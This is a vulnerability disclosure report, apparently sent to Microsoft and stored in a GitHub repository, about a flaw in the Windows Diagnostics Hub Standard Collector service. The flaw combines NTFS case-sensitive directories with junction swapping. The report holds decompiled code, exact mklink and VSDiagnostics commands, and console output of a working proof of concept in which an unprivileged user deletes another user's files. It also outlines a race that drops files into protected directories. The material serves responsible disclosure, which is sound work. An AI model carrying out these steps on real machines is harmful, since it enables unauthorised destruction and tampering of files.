-
Notifications
You must be signed in to change notification settings - Fork 1
/
2020-11-25-original-report.txt
236 lines (156 loc) · 11.2 KB
/
2020-11-25-original-report.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
The Microsoft (R) Diagnostics Hub Standard Collector Service is a default component of Microsoft Windows operating system.
This report is about a flaw in the Diagnostics Hub Standard Collector Service DCOM class that is available to all users of the OS (includes NT AUTHORITY\Authenticated Users):
CLSID: 42CBFAA7-A4A7-47BB-B422-BD10E9D02700
Launch permissions: O:BAG:BAD:(A;;CCDCSW;;;PS)(A;;CCDCSW;;;AU)(A;;CCDCSW;;;SY)(A;;CCDCSW;;;BA)(A;;CCDCSW;;;AC)(A;;CCDCSW;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)S:(ML;;NX;;;LW)
Access permissions:
O:BAG:BAD:(A;;CCDCSW;;;AU)(A;;CCDCSW;;;SY)(A;;CCDCSW;;;BA)(A;;CCDC;;;AC)(A;;CCDC;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)(A;;CCDCSW;;;IU)S:(ML;;NX;;;LW)
The vulnerable part of the implementation resides in DiagnosticsHub.StandardCollector.Runtime.dll.
The service is running as NT_AUTHORITY\SYSTEM.
The service is vulnerable to directory traversal which could lead data tampering and dropping files to arbitrary directories.
The service supports starting diagnostics sessions for what the caller can specify a "scratch directory". File operations are carried out without impersonating the caller,
but using a custom security measure instead (Microsoft::DiagnosticsHub::StandardCollector::SecuredDirectory::SecuredDirectory) to ensure the caller is not able to interfere
with the files until a session is destroyed.
The directory path provided by the client is opened with CreateFileW and then validated in the ValidateSamePath functions, which relies on the
GetFinalPathNameByHandleW WinAPI that returns with the final path of the opened file without any junctions or redirections in the name.
This final resolved path is then compared to the user supplied string. In case of a mismatch, the operation is aborted.
The string comparision is done using the wcsnicmp function, which is case-insensitive.
Though the operating system features a case-insensitive layer by default, the NTFS file system is case-sensitive. See James Foreshaw's analysis here:
https://www.tiraniddo.dev/2019/02/ntfs-case-sensitivity-on-windows.html
If Windows Subsystem for Linux is installed, or due to any other reasons the per directory case-insensitivity feature is enabled, the construct described above can be
circumvented. Think about a directory layout like this:
C:\Projects\windows-dcom-hacks\work\DiagHub\1\wsldir>dir
2020. 11. 22. 21:19 <DIR> ETW
2020. 11. 22. 21:18 <JUNCTION> Etw [C:\Projects\windows-dcom-hacks\work\DiagHub\1\wsldir\ETW]
2020. 11. 22. 21:17 <DIR> etw
An attacker could supply the path to the Etw junction to Diaghub as scratch directory, then it would be possible to switch between directories during the diaghub operations.
If you prefer to enable this feature manually, you can create NtfsEnableDirCaseSensitivity DWORD with value 1 at
HKLM\SYSTEM\CurrentControlSet\Control\FileSystem
----------------------------------------------------------------------------------
As a potential exploitation, I'm demonstrating here an arbitrary file delete attack. This abuses the DiagHubCommon::DeleteDirectory method invoked when a session is stopped.
long __thiscall
Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSessionController::AddEtwSessionResultsToPackage
ATL::
CStringT<unsigned_short,class_ATL::StrTraitATL<unsigned_short,class_ATL::ChTraitsCRT<unsigned_short>_>_>
::AppendFormat((
CStringT<unsigned_short,class_ATL::StrTraitATL<unsigned_short,class_ATL::ChTraitsCRT<unsigned_short>_>_>
*)&local_178,(ushort *)L"%sEP",local_170);
lpFileName = local_178;
DVar4 = GetFileAttributesW((LPCWSTR)local_178);
if (DVar4 != 0xffffffff) {
DiagHubCommon::DeleteDirectory(lpFileName,(bool)uVar8);
}
DeleteDirectory is called with scratchdir\guid\EP. If this exists, all of its content is removed recursively.
A protection measure against file system redirections seems to be in place; the skeleton of the recursive method looks something as follows:
handle = CFileSystemIterator::Initialize(lpFileName)
if(DeleteVolumeMountPointW(lpFileName) != 0)
return;
if(RemoveDirectoryW((LPCWSTR)param_1) != 0)
return;
do {
if(isDir(subpath)) {
DiagHubCommon::DeleteDirectory(subpath);
} else {
DeleteFileW(subpath);
}
} while(CFileSystemIterator::Next(handle))
FindClose(handle)
If EP is a junction that points to the external directory to be deleted and we keep a handle open to this reparse point (the EP directory itself), we can easily route the execution flow
to actually delete files outside the scratch directory.
Demo:
A "secret" file of a victim user:
Microsoft Windows [Version 10.0.19042.630]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\Users\irsl>whoami
windows-10-dev-\irsl
C:\Users\irsl>mkdir secret
C:\Users\irsl>echo secret > secret\secret.txt
The local attacker:
C:\111\poc-1\poc-1\bin>whoami
windows-10-dev-\unprivileged
C:\111\poc-1\poc-1\bin>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111\poc-1\poc-1\bin>type C:\Users\irsl\secret\secret.txt
Access is denied.
C:\111\poc-1\poc-1\bin>del C:\Users\irsl\secret\secret.txt
Access is denied.
C:\111\poc-1\poc-1\bin>DiagHubFileDeletePoc.exe
Usage: DiagHubFileDeletePoc path-to-a-dir-for-scratch path-to-directory-to-be-deleted
C:\111\poc-1\poc-1\bin>DiagHubFileDeletePoc.exe c:\111\poc-1\workdir C:\Users\irsl\secret
Case sensitive dir created successfully c:\111\poc-1\workdir\diaghub-delete-poc
Exeucuting command: CMD.exe /c mklink /d /j "c:\111\poc-1\workdir\diaghub-delete-poc\Etw" "c:\111\poc-1\workdir\diaghub-delete-poc\etw"
Junction created for c:\111\poc-1\workdir\diaghub-delete-poc\Etw <<===>> c:\111\poc-1\workdir\diaghub-delete-poc\etw
Preparation succeeded
Exeucuting command: VSDiagnostics.exe start 79FE9A49-935D-430B-B619-C919D9A46D22 /loadAgent:514a5e80-cc1b-4844-9139-0da4afdcf814;NetworkCollectionAgent.dll /scratchLocation:c:\111\poc-1\workdir\diaghub-delete-poc\Etw
Microsoft (R) VS Standard Collector
Creating instance of StandardCollector 42cbfaa7-a4a7-47bb-b422-bd10e9d02700 (Windows Native)
Got the collector service reference
Scratch path: c:\111\poc-1\workdir\diaghub-delete-poc\Etw
Creating a new session with guid: 79fe9a49-935d-430b-b619-c919d9a46d22
Session created
Loading agent: 514a5e80-cc1b-4844-9139-0da4afdcf814 -> NetworkCollectionAgent.dll
Session 79FE9A49-935D-430B-B619-C919D9A46D22: {79fe9a49-935d-430b-b619-c919d9a46d22}
Running
Exeucuting command: CMD.exe /c mklink /d /j "c:\111\poc-1\workdir\diaghub-delete-poc\Etw" "c:\111\poc-1\workdir\diaghub-delete-poc\ETW"
Junction created for c:\111\poc-1\workdir\diaghub-delete-poc\Etw <<===>> c:\111\poc-1\workdir\diaghub-delete-poc\ETW
Exeucuting command: CMD.exe /c mklink /d /j "c:\111\poc-1\workdir\diaghub-delete-poc\ETW\79FE9A49-935D-430B-B619-C919D9A46D22\EP" "C:\Users\irsl\secret"
Junction created for c:\111\poc-1\workdir\diaghub-delete-poc\ETW\79FE9A49-935D-430B-B619-C919D9A46D22\EP <<===>> C:\Users\irsl\secret
Exeucuting command: VSDiagnostics.exe stop 79FE9A49-935D-430B-B619-C919D9A46D22 /output:-
Microsoft (R) VS Standard Collector
Creating instance of StandardCollector 42cbfaa7-a4a7-47bb-b422-bd10e9d02700 (Windows Native)
Exception from HRESULT: 0xC111004E
at Microsoft.DiagnosticsHub.StandardCollector.ICollectionSessionNative.Stop()
at Microsoft.DiagnosticsHub.StandardCollector.CollectorActions.Stop(RuntimeOptions options) in C:\Projects\windows-dcom-hacks\work\DiagHub\1\vsdiag\VSDiagnostics.Native\DiagnosticsHub\StandardCollector\CollectorActions.cs:line 177
at Microsoft.DiagnosticsHub.StandardCollector.Program.Main(String[] args) in C:\Projects\windows-dcom-hacks\work\DiagHub\1\vsdiag\VSDiagnostics.Native\DiagnosticsHub\StandardCollector\Program.cs:line 56
Done!
Verifying as the victim user:
The file was indeed deleted, verifying with the other user:
C:\Users\irsl>dir secret\secret.txt
Volume in drive C is Windows
Volume Serial Number is D460-7EB1
Directory of C:\Users\irsl\secret
File Not Found
C:\Users\irsl>type secret\secret.txt
The system cannot find the file specified.
Proof of concept code is attached (DiagHubFileDeletePoc). The other project (VSDiagnostics.Native) is a slightly enhanced version of Visual Studio 2017's builtin tool
(installed by default to C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Team Tools\DiagnosticsHub\Collector), adjusted to work with the OS's diaghub
service (instead of VS's diaghub which is a similar service with similar API but different IIDs and some more minor differences).
----------------------------------------------------------------------------------
The second potential attack vector is tricking the service to drop files outside the scratch directory.
This abuses creation of the Report.{guid} directories.
The first steps of this attack are the same, the Etw junction needs to be swapped, but this is a race condition, so timing is also important here.
It needs to be replaced after the CreateDirectoryW("Report.{guid}", ...) call in
void __thiscall
Microsoft::DiagnosticsHub::StandardCollector::SecuredDirectory::SecuredDirectory
(SecuredDirectory *this,ushort *param_1,void *param_2,bool param_3)
After the Report dir was created, we can replace the base symlink:
rmdir Etw
mklink /d /j Etw ETW
Junction created for Etw <<===>> ETW
Then, we can create one more junction with the name of Report directory
mklink /d /j Report.0197E42F-003D-4F91-A845-6404CF289E84 "c:\Program Files\7-Zip\Lang"
Junction created for Report.0197E42F-003D-4F91-A845-6404CF289E84 <<===>> c:\Program Files\7-Zip\Lang
Before:
dir "c:\Program Files\7-Zip\Lang"\metadata.xml
Volume in drive C has no label.
Volume Serial Number is 5EAB-40D5
Directory of c:\Program Files\7-Zip\Lang
File Not Found
After the attack succeeded:
dir "c:\Program Files\7-Zip\Lang"\metadata.xml
Volume in drive C has no label.
Volume Serial Number is 5EAB-40D5
Directory of c:\Program Files\7-Zip\Lang
11/22/2020 02:22 PM 221 metadata.xml
As part of the normal operation, Diaghub calls SetNamedSecurityInfoW on this file to grant access to the caller of the API.
Right now, I'm able to demonstrate dropping metadata.xml and some etl files to arbitrary directories, but the service does not restore the file permissions
as I expect it to do. Hence, no PoC code for this yet, I still need some time for further investigation.
Still, I didn't want to wait longer with this submission as there is always a race in your space :)
Imre